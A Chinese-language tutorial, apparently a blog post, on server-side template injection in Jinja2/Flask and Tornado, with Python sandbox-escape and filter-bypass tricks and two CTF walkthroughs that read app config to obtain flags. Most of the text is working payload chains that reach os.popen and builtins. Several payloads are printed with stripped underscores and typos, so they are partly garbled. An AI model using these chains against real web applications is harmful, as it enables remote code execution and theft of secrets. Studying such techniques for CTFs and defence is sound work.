模板注入漏洞
一. 模板注入概念
模板注入发生在用户输入未经过严格过滤直接进入模板渲染时。根据模板语言不同,可能导致:
-
信息泄露:变量、配置、环境
-
远程代码执行(RCE):调用系统命令、执行任意函数
核心思路:
-
模板解析用户输入 → 执行表达式
-
枚举可访问对象/类 → 找到执行函数
-
构造链条 → 执行命令
二,实战测试流程
1.确认 SSTI 存在
{{7*7}} 返回 49 ->Jinja2/Twing
{{7*‘7’}} 返回 7777 ->Jinja2
${7*7} 返回 49 ->ERB(ruby)
#{7*7} 49 ->ruby
确认 Jinja2
{{config}} 返回配置对象 Flask/Jinja2
{{self}} 返回
通过 python 对象继承链爬到 objectt 再找可用子类
任意对象—>class(找到对象的类)—>mro(继承链上的所有类)/base(直接父类)—>object(拿到最终父类)—>subclasses()(拿到父类下的所有子类—>找到可利用的,可执行命令的子类
三,核心 Payload
基础链
”.class #<class ‘str’>
”.class.mro #(str,object)
”.class.mro[-1] #<class ‘object’>
”.class.mro[-1].subclass() #object 所有子类
Jinjia2 中返回一个列表,包含所有子类
寻找目标类:
subclass=”.class.mro[-1].subclass()
for i,cls in enumerate(subclasses):
print(i,cls)
常见利用类:
| 目标 | 类名 | 用途 |
|---|---|---|
| 文件读取 | file(py2,py3 不存在) | 读取任意文件 |
| 命令执行 | subprocess.Popen | 执行系统命令 |
| 命令执行 | os._wrap_close | 通过 init 的 globals 拿到 os |
| 代码执行 | warning.catch_warnings | 拿到 builtins |
payload 模板
python2 读文件
{{”.class.mro[-1].subclass()40.read()}}
python 3 命令执行:
找到 os._wrap_close,通过 init.globals 拿到 os模块
{{”.class.mro[-1].subclasses()[ 索引 ].init.globals[‘os’].popen(‘id’).read()}}
#init:类的初始化方法,是一个函数对象
#globals 函数对象的全局命名空间,获取该函数定义时的全局变量
通过 builtins 执行:
找 warnings.catch_warnings
{{”.class.mro[-1].subclasses()索引._module.builtins’import’.popen(‘id’).read()}}
#_module 某些 python 内部类的属性,指向所属模块对象
#builtins 内置命名空间
lipsum 全局变量链(CTF 最常用):
{{lipsum.globals[‘os’].popen(‘id’).read()}}
{{lipsum.globals[‘builtins’]‘eval’}
#lipsum:Jinjia2 内置全局函数
三,Python 沙箱逃逸
沙箱通常限制什么:
1.禁止 import os/subclass/commands
2.删除 builtins 中的危险函数
3.过滤关键字(import/os/system)
4.限制 sys.modules
逃逸路径:
1:绕过 import 关键字过滤
#import 直接调用
import(‘os’).system(‘id’)
#编码绕过
import(“pbzznaqf”.decode(‘rot_13’))# ‘commands’
#importlib
importlib.import_module(‘os’).system(‘id’)
#builtins
builtins.import(‘os’).system(‘id’)
2.builtins 被删除后回复
#如果 reload 还在
reload(builtins)
#reload 被删除
import imp
imp.reload(builtin)
3.sys.modules 被清空后绕过
#直接 execfile 加载 os.py 源文件(py2)
execfile(‘/usr/lib/python2.7/os.py’)
system(‘id’)
#恢复 sys.modules 中的 os
sys.modules[‘os’]=‘/usr/lib/python2.7/os.py’
import os
4.通过 dict 和 getattr 绕过字符串过滤
#字符串反转
s=“metsys”
getattr(os,s[::-1])(‘is’) #os.system(‘id’)
#rot13 编码
import codecs
getattr(os,codecs.encode(“flfgrz”,‘rot13’))(‘id) #os.system(id)
#base
import base64
getattr(os,base64.b64decode(‘c3lzdGVt’))(‘id’)
5.MRO 子类链
#file 类 py2
#找 subprocess
”.class.mro[-1].subclasses()N.communicate()
Popen([‘id’],stdout=-1).communicate()创建子进程并执行命令 id,将输出重定向到管道,.communicate() 等待进程结束,返回 (stdout, stderr) 元组
7.func_code /字节码
#通过函数的 code object 拿到常量
#适用于沙箱允许定义函数但过滤了字符串
def f
f.code.co_consts #查看函数中的常量
五,waf 绕过
1.下划线被过滤
#用 request.args 传参(Flask)
{{request.args.c}}&c=class#get 传参 c=class
#attr 过滤器
{{”|attr(‘class’)}}
{{”|attr(request.args.c}}&c=class
{{ object|attr(“attribute_name”) }} attr 需要点号或下划线就能获取对象属性
2.点号被过滤
#用 [] 代替
{{”[‘class’]}}
{{”|attr(‘class’)}}
3.关键字被过滤
#字符串拼接
{{”[‘cla’~‘ss’]}}#Jinjia2
{{”[‘cla+ss’]}}
#使用 request.args 传入
{{”[request.args.a][request.args.b][-1]request.args.c}}
&a=class&b=mro&c=subclass
4.数字被过滤
#用 pop()或 next()
{{”.class.mro.getitem__(-1)
做两道题试试




发现进不去,被重定向了,观察页面输出error,同时url地址中有msg=Error的信息,猜测此处就是注入点,使用payload:{{5*6}},返现页面返回orz,不是预料中的30,应该是被过滤导致
用了两个常规链子和绕过手段都没成功,查看资料发现tornado可以用headler.settings方式查看敏感信息
成功拿到cookie,再进行一下md加工,再次访问flllllag成功拿到flag

进去发现源码贴脸上了

抓包一下,代码看得更清楚一点,发现小括号被过滤掉,config,self等被禁用
因为题目写的是flask,查看一下flask模板有什么可利用的点,发现存在以下可利用函数
-
url_for():用于生成URL,通过指定视图函数名称和任何必要的参数 -
redirect():返回一个302重定向响应,将用户引导到另一个页面或路由 -
render_template(): 渲染模板并返回HTML内容 -
flash():用于给下一个请求发送一次性消息(闪现消息) -
abort():立即终止当前请求,并返回给定的状态码或HTTP异常 -
make_response():创建一个响应对象 -
jsonify():将Python字典转换为JSON格式的响应体,并设置适当的Content-Type头部 -
构造payload:
{{url_for.__globals__["current_app"].config}}然后成功拿到flag.